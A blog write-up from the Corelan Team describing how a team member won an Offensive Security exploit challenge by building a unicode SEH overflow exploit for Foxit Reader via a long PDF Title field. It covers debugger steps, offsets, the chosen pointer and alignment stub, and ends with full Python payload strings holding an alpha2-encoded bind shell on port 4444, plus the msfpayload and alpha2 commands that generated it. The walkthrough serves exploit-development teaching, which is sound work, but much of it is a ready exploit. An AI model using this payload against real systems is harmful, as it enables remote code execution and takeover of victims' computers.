13,479 views
Offensive Security Exploit Weekend
Introduction
I’m excited and honored to be able to announce that Sud0, one of our Corelan Team members, has won the Offensive Security Exploit weekend, an exploiting exercise only available to Offensive Security certified alumni.
The challenge was built around a vulnerability in Foxit Reader. Each participant was pointed to a Proof of Concept exploit, clearly pinpointing the overflow and indicating control over a structured exception handling record. Offensive Security posted the following message on their blog :
Aloha Offsec students! You’ve been slapped around by Bob, abused by Nicky and crushed by NNM. Just as you thought it was over, Offensive Security now comes up with a brand new type of pain. This one is for all you hardcore exploit developers out there, who want a real challenge – an Offsec “Exploit Weekend”.
This is the deal: We provide you with a proof of concept, with EIP handed to you on a golden platter. All you need to do is get a shell….muhahaha. The event will take place next weekend, 13th-14th of November and is open to Offsec alumni only. The first person to send in a working POC with a bindshell payload on port 4444 wins a 32 GB WiFi Ipad!For more information, check out the Offsec Student forms. If you haven’t signed up for the 1day club forums, send in an email to our orders dept. with your OSID!
What follows below are the steps taken by Sud0 to complete the challenge… I only analyzed his exploit / gathered all his steps, added some comments, and built a little story around it. I take no credit for this exploit, Sud0 did all of the work by himself, in less than 5 hours… ouch :)
Have fun with it ! – corelanc0d3r
Sud0’s story :
After quickly analyzing the pdf file, it was clear that the PDF reader is vulnerable to a buffer overflow when parsing an overly long string in the "Title" field. (Simply open the pdf file in a editor or use Didier Stevens’ pdf-parser.py tool to list the elements in the pdf file)
When opening the PoC pdf file in Foxit Reader (with Immunity Debugger attached to it), an access violation is triggered :
(An attempt was made to write beyond the end of the current stack frame, which has triggered the access violation.)
The SEH Chain looks like this :
00410041 = Unicode utf converted representation of ‘AA’… so it looks like we control one of the SEH records.
After passing the exception to the application (Shift F9), another access violation is triggered, resulting in the following SEH Chain :
When passing the exception again, the exception handler should get called (00410041). Usually, when overwriting an exception handler with A’s, EIP will point to 41414141 (after the exception is passed), and the debugger will break again because in most cases this is not a valid address. In this case, however, we are dealing with unicode, and in our case 00410041 is a valid address :
(so you would need to set a breakpoint at 00410041 before passing the exception to make sure you can verify that EIP was controlled).
Anyways, unicode payload requires a specific approach, as explained in tutorial 7. In any case, we will need to find a pointer (to be put in the SE Handler field), which is unicode compatible, and should bring us back either at nseh, or directly in our payload. Unicode compatible pointers start with a null byte, so unlike typical string based buffer overflows, we now have to look for pointers with null bytes.
First of all, the offset to nseh / seh must be determined.
Replace the A’s in the Title field with a cyclic pattern (10000 bytes or so). You can create a cyclic pattern directly from within Immunity Debugger using the following function in pvefindaddr :
Open mspattern.txt, copy the pattern and use it to replace the A’s in the PoC pdf file :
Open the modified pdf file again in Foxit Reader (with Immunity Debugger attached). When the application crashes (before passing the exception to the application), run
!pvefindaddr suggest
This will calculate the offset to nseh and seh :
=> offset to nseh is 538. The script detected that the payload is unicode, so you just need to put 538 characters in your payload and when it gets converted to unicode, you’ll control nseh and seh.
A quick look at the load modules (!pvefindaddr modules) reveals a few things
- A fair amount of modules are not safeseh protected
- the foxit reader.exe binary itself starts with a null byte and is not safeseh protected. <- win !
This means that we should be able to find a good p/p/r pointer in the application binary itself. A ‘good’ pointer is a pointer that is not only unicode compatible, but it should not break the buffer string either (so the 2 non-null bytes should be ascii printabled, and the instructions the bytes represent should not break the exploit flow).
Using !pvefindaddr p1 -m foxit, we query the application binary, gather all p/p/r pointers and write them to a file called ppr1.txt
Filter out all lines that do not contain the word "Unicode" and you’ll have your list of possible pointers. Question remains : which one should you take ?
The answer is simple : take the one that won’t break things, and that might help you getting you closer to your buffer when it gets executed as if the pointer were instructions. (Read tutorial 7 to understand what we mean with this). This process is trial & error
Sud0 decided to use 006A004B (write "\x4B\x6A" into the SE Handler field ( = K4)). In order to test, put "AA" at nseh (00410041), and put 9000 B’s or so after the SE record. Validate that the new SEH record works :
That looks perfect. Set a breakpoint at the SE Handler pointer (bp 006A004B) and then pass the exception (twice – use Shift F9) until the breakpoint is hit :
Use F7 to step through these 3 instructions (pop ebx, pop ecx, ret 4) . Right after RET is executed, you see this in the CPU view :
- 41 41 = nSEH (AA)
- 4B 6A = SE Handler
- 42 42 .. = B’s after the SEH record = place to put our payload
We are now executing code on the stack. If we look at the stack, at 0012F7A8 and up, we can see our B’s… so we have plenty of space to put our payload here :
The payload obviously also needs to be unicode compatible.
The goal is to build an exploit with a bindshell listening on port 4444, so we can easily create the required shellcode using metasploit’s msfpayload :
./msfpayload windows/shell_bind_tcp R | ./msfencode -b ‘\x00’ -t raw > /pentest/exploits/alpha2/bind4444.bin
(You need to exclude null bytes, as the alpha2 unicode encoder does not accept null bytes)
When converting the raw shellcode to unicode, you need to specify a bufferregister. This bufferregister is key in this exploit. If you have tried to use a register such as EAX, EBX, ECX, EDX and so on, then you probably discovered that there was no way/no easy way to make that register point to the begin of your payload. Of course, you can pop some values from the stack to make a register point "close" to your shellcode… but all pointers are below the shellcode. And the opcode to add some values to a register break the exploit… so using a register is not an option here.
So Sud0 decided to use ESP as bufferregister. Skylined’s alpha2 tool mentions this about using esp as bufferregister :
Unicode baseaddress code using esp will overwrite the byte of memory pointed to by ebp!
Creating the unicode shellcode :
root@bt:/pentest/exploits/alpha2# ./alpha2 –unicode esp < bind4444.bin
Now, still at the first byte of nseh, Sud0 looked at the stack, and determined his approach :
The first pointer on the stack actually points into a location we control. (0012F470), but the space is too small to host shellcode. A bit further on the stack, we also see pointers to a bigger part of our payload (0012F7A8). So the idea is to pop values off the stack until we get 0012F7A8, then make ESP point at it, and jump to it. At that location, we can put our shellcode.
The SEH pointer (006A004B), when translated into instructions, look like this :
0012F7AC 4B DEC EBX 0012F7AD 006A 00 ADD BYTE PTR DS:[EDX],CH
That means that EDX needs to be writeable. Before the code at nseh / seh executes, the registers look like this :
EDX points into ntdll… not a writeable location.
Easiest way to solve this, is by popping the first pointer (which points to the stack) into EDX. Opcde is 5A.
After those 4 instructions are executed, we end up here :
So far so good. nseh is now set to "\x5a\x41" and seh is "\x4b\x6a".
The pointer we want to get at, is 3rd from the top of the stack :
You could write some simple venetian code to pop 3 times. Or you can just use a popad to pop values from the stack, one for each register (except esp). There are plenty of ways to get the desired value into esp and then jump to it. I’ll explain what Sud0 did :
Phase 1 : jump to shellcode :
After the nseh & seh instructions are executed, ESP points at 0012F3C8 (which contains a pointer to a buffer we control… but not to the location in the buffer we want. The pointer points at the SEH record, so jumping to that location would create a little loop).
But – all of that can be fixed easily : A simple POP ESP will make the stack actually point at that pointer :
Then a POPAD is used to jump further down into the buffer :
That’s nice – but it destroyed the registers. The NOP (ADD BYTE PTR DS:[ECX],AL) won’t work because ECX does not point at a writeable location anymore. ECX contains data that was popped off the stack earlier. So if we can make ecx point at a writeable location by manipulating the value on the stack, we win.
That means that we need to figure out the location on the stack that will be used to populate ECX, and we have to make it point to a writeable location. After doing some simple math, we see that 0012F7C1 holds the data that will be put in ECX. That is right below our alignment stub, so if we follow the stub with a writable address, we can overcome this issue.
Then finally, a RET will make us jump to a controlled location, with ESP pointing at the first byte. Fortunately, the opcode for ret (C3) does not get mangled.
The entire alignment block looks like this :
0012F7B0 41 INC ECX 0012F7B1 0061 00 ADD BYTE PTR DS:[ECX],AH 0012F7B4 5C POP ESP 0012F7B5 0041 00 ADD BYTE PTR DS:[ECX],AL 0012F7B8 61 POPAD 0012F7B9 0041 00 ADD BYTE PTR DS:[ECX],AL 0012F7BC 54 PUSH ESP 0012F7BD 0041 00 ADD BYTE PTR DS:[ECX],AL 0012F7C0 C3 RETN
The alignment code is followed by the following bytes (to make ECX point at a writeable location) :
0012F7C1 00B3 003000B3 ADD BYTE PTR DS:[EBX+B3003000],DH
00B30030 is a static location in the foxit reader.exe binary, and is writable :
After executing the alignment stub, we end up here :
The ret will bring us to the begin of the B’s. So the only thing we have to do is place our shellcode at that location (which is encoded using ESP as bufferregister) and let it run.
Note : as soon as PUSH ESP opcode is put into the buffer, you’ll see that this has an impact on the seh chain. Don’t worry about it, because you still control the SE record.
Phase 2 : fix issue with ebp
As indicated by skylined, the encoded shellcode will write to ebp. That means that ebp has to point to a writeable location as well. The payload so far looks like this :
seh = "\x5A\x41\x4B\x6A" align = "\x41\x61\x5C\x5C\x41\x61\x41\x54\x41\xC3" # Align + SEH ... SEH = 0x006A0046 control="\xB3\x30\xB3" # control of ECX to point it to writeable address #(need only two bytes, third one is junk) shellcode = "TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ" shellcode += "11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBJ9JKuK9IbTO4jTNQj" shellcode += "2X2pwMawYqT2kpqNPTKPvzldKD6MLTKMvZhRkCNmPrkmfnXnoMHqeZSPYiqxQ9ok1op2kp" shellcode += "lldLdDKmuMlTKNtKxRXiqZJBkPJkhTKpZKpiqZKzCMdQ9tKNTDKYqXnmaIoMa5pIlFLQt5" shellcode += "pRTYwva8OlMKQ5wHkHtMk3Lo4O845xatKNznDIqhkpfRkzlnkDKPZmLKQJKTK9ttKm1YX2" shellcode += "iPDktmLoq5sUbkXo96t2iYUu97Rs8rnpNlNxlR2yX5OkOYokOsYOUkTekqn8XIRpsQwMLl" shellcode += "dnrHhTNYoIoKOU9neM8aXrLrLmPoQphoCNRlnRD38QesCperRqx1LMTYz2iGvOfyoNu9tr" shellcode += "i8BR0gK78uRpMGLsWKlldPRyXQQKOyoiooxrL1QbNnxs8mspo1bOunQYK1xOlKtm7qy9SO" shellcode += "xlpnxmPmPs8KpOcRUPd1XPdo0orRYOxpoPi3DS5PhpErXpp2Lp1eyqxpLmTJqQyWqMagbB" shellcode += "Jp0NsPQr2KO8PLqupNpioOeIxZjA"
When the shellcode starts executing, we see this :
00610041 is not writeable. But ECX still points at a writeable location. So we simply have to modify the shellcode and write to ECX to overcome this issue. Simply change the byte from 55 to 61 to change the destination register :
Let the code run… w00000t !!!
You can easily put in other shellcode, as long as you use ESP as baseregister, and modify the second byte of the shellcode :
seh = "\x5A\x41\x4B\x6A" align = "\x41\x61\x5C\x5C\x41\x61\x41\x54\x41\xC3" # Align + SEH ... SEH = 0x006A0046 control="\xB3\x30\xB3" # control of ECX to point it to writeable address #(need only two bytes, third one is junk) # Unicode Shellcode Alpha2 encoded with a small modification because we had to # play with registers in the align shellcode before shellcode = "TaYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ" shellcode += "11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBJ9JKuK9IbTO4jTNQj" shellcode += "2X2pwMawYqT2kpqNPTKPvzldKD6MLTKMvZhRkCNmPrkmfnXnoMHqeZSPYiqxQ9ok1op2kp" shellcode += "lldLdDKmuMlTKNtKxRXiqZJBkPJkhTKpZKpiqZKzCMdQ9tKNTDKYqXnmaIoMa5pIlFLQt5" shellcode += "pRTYwva8OlMKQ5wHkHtMk3Lo4O845xatKNznDIqhkpfRkzlnkDKPZmLKQJKTK9ttKm1YX2" shellcode += "iPDktmLoq5sUbkXo96t2iYUu97Rs8rnpNlNxlR2yX5OkOYokOsYOUkTekqn8XIRpsQwMLl" shellcode += "dnrHhTNYoIoKOU9neM8aXrLrLmPoQphoCNRlnRD38QesCperRqx1LMTYz2iGvOfyoNu9tr" shellcode += "i8BR0gK78uRpMGLsWKlldPRyXQQKOyoiooxrL1QbNnxs8mspo1bOunQYK1xOlKtm7qy9SO" shellcode += "xlpnxmPmPs8KpOcRUPd1XPdo0orRYOxpoPi3DS5PhpErXpp2Lp1eyqxpLmTJqQyWqMagbB" shellcode += "Jp0NsPQr2KO8PLqupNpioOeIxZjA"
Sud0 would like to thank :
- His wife for her everlasting support
- Corelan Team
- Offensive Security for organizing the contest
Copyright secured by Digiprove © 2010 Peter Van Eeckhoutte
© 2010 – 2021, Sud0. All rights reserved.
Similar/Related posts:
5 Responses to Offensive Security Exploit Weekend
Corelan Training
Check out our schedules page here and sign up for one of our classes now!
Donate
Your donation will help funding server hosting.
Corelan Team Merchandise
Corelan on Slack
You can chat with us and our friends on our Slack workspace: